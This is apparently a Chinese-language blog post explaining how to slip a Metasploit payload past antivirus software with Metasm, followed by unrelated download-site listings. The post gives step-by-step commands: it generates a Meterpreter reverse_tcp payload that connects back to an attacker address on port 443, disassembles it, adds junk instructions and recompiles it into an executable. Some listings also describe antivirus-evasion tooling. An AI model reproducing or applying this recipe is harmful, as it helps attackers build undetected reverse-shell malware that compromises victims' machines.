`

使用Metasm来绕过杀毒软件

 
阅读更多
技术本质还是花指令,本文的目的是使用metasploit框架来生成raw payload,反汇编payload,使用花指令,然后重新编译成二进制可执行文件
1. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary
2.拷贝metasm.rb文件和metasm文件夹到ruby的安装目录
     cp /usr/share/metasploit-framework/lib/metasm.rb /usr/local/lib/site_ruby/1.9.1/
     cp -r /usr/share/metasploit-framework/lib/metasm /usr/local/lib/site_ruby/1.9.1/
3. ruby  /usr/share/metasploit-framework/lib/metasm/samples/disassemble.rb raw_binary > test.asm
4.编辑花指令。关键一点,栈平衡
5. ruby /usr/local/lib/site_ruby/1.9.1/metasm/samples/peencode.rb test.asm -o coolstuff.exe

分享到:
评论

相关推荐

    metasm-scripts:Metasm 脚本

    总的来说,Metasm 是 Ruby 开发者的一个强大工具,它提供了一个接口,使他们能够在高级语言中编写底层代码,同时保持灵活性和效率。如果你需要处理与操作系统交互、生成或解析二进制文件,或者进行逆向工程的工作,...

    免杀学习.zip

    7. **虚拟机绕过**:许多反病毒软件使用虚拟机来执行可疑代码以检测其行为。恶意软件可以通过识别虚拟环境并改变行为以逃避检测。 8. **系统调用隐藏**:通过修改系统调用表或者使用自定义的系统调用实现,使反病毒...

    obfy:通过 ASM 混淆对 Metasploit 有效负载自动进行 AV 规避

    该工具使用 metasm ruby​​ gem,必须安装该 gem 才能工作。 我只在 Back Track 和 Kali linux 上测试过这个脚本。 所有未来的测试都只会在 Kali 上进行。 自定义负载选项似乎适用于任何 metasploit 负载,但它并不...

    Spring Boot Starter-kit:含多种技术应用,如数据库、认证机制,有应用结构.zip

    1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。

    包含 Spring Boot 等系列技术参考指南中文版及相关资源的仓库.zip

    1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。

    Unity3d 3D模型描边代码 懒人直接上代码

    Unity3d 3D模型描边代码 懒人直接上代码

    java毕业设计-基于SSM的超市管理系统【代码+部署教程】

    原文链接:https://alading.blog.csdn.net/article/details/141710476 包含功能: 经理管理:负责经理信息维护与权限分配,确保管理层操作的安全性和高效性。 员工管理:管理员工信息,包括招聘、离职、考勤及权限设置,优化人力资源配置。 商品分类管理:对商品进行科学分类,便于商品检索与管理,提升顾客购物体验。 商品信息管理:维护商品详细信息,如名称、价格、描述等,确保信息准确无误。 商品入库管理:监控商品入库流程,记录库存变化,实现库存精准管理。 商品销售管理:处理销售事务,包括销售记录、退货处理,支持销售业绩分析。 缺货提醒管理:自动检测库存水平,及时发出缺货警告,保障商品供应连续性。 商品收银管理:处理交易结算,支持多种支付方式,确保收银过程快速准确。 供应商管理:维护供应商信息,评估合作效果,优化供应链,保证商品质量与供应稳定性。

    MATLAB实现工业PCB电路板缺陷识别和检测【图像处理实战】 - 副本 (2).zip

    MATLAB实现工业PCB电路板缺陷识别和检测【图像处理实战】项目详情请参见:https://handsome-man.blog.csdn.net/article/details/130493170 PCB板检测的大概流程如下:首先存储一个标准PCB板图像作为良好板材的参考标准,然后将待检测的PCB板图像进行处理,比较与标准PCB图像的差异,根据差异的情况来判断缺陷类型。 项目代码可顺利编译运行~

    Jupyter_你是否曾经幻想过与自己的虚拟人交互现在使用PaddleAvatar您可以将自己的图像音频和视频转化为一.zip

    Jupyter-Notebook

    1991-2021年中国科技统计年鉴-最新数据发布.zip

    1991-2021年中国科技统计年鉴-最新数据发布.zip

    Spring教程:含示例代码.zip

    1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。

    BMI270 驱动开发程序

    BMI270 驱动开发程序

    Approaching Almost Any Machine Learning Problem中译版在线文档地址.zip

    Jupyter-Notebook

    大型语言模型快速入门理论学习.zip

    Jupyter-Notebook

    Chat凉宫春日 An open sourced RolePlaying chatbot Cheng Li Ziang.zip

    Jupyter-Notebook

    上市公司基本资料及行业分类(2020)+员工构成数据大全(2006-2020)-最新发布.zip

    上市公司基本资料及行业分类(2020)+员工构成数据大全(2006-2020)-最新发布.zip

    安慰剂检验代码与数据文章-最新研究成果.zip

    安慰剂检验代码与数据文章-最新研究成果.zip

    java毕业设计-基于SSM的超市进销存管理系统【代码+部署教程】

    原文链接:https://alading.blog.csdn.net/article/details/141678636 包含功能: 用户管理:负责系统用户的注册、登录、权限分配及个人信息管理。 供应商管理:维护供应商信息,包括添加、编辑、删除供应商资料及合作状态。 商品分类管理:创建、修改和删除商品分类,便于商品归类与查找。 商品信息管理:管理商品详情,如添加新品、编辑商品属性、价格及库存量。 采购入库管理:记录采购订单详情,处理入库操作,更新库存数量。 销售信息管理:记录销售订单,追踪销售数据,支持销售分析与报表生成。 赠品入库管理:管理赠品入库流程,记录赠品信息,关联促销活动。 退货入库管理:处理客户退货,记录退货详情,恢复库存数量。 其他入库管理:管理非采购、非赠品的入库情况,如调拨入库等。 购买订单管理:跟踪客户购买订单状态,从下单到发货的全流程管理。 赠送信息管理:管理赠品发放规则,记录赠送活动执行情况。 盘点信息管理:定期进行库存盘点,记录盘点结果,调整库存差异。

    康爱多微商城:学习界面设计.zip 小程序源码

    演示:https://blog.csdn.net/m0_54925305/article/details/143660348?spm=1001.2014.3001.5501

    Jupyter_AI魔法遇到无限绘图板.zip

    Jupyter-Notebook

Global site tag (gtag.js) - Google Analytics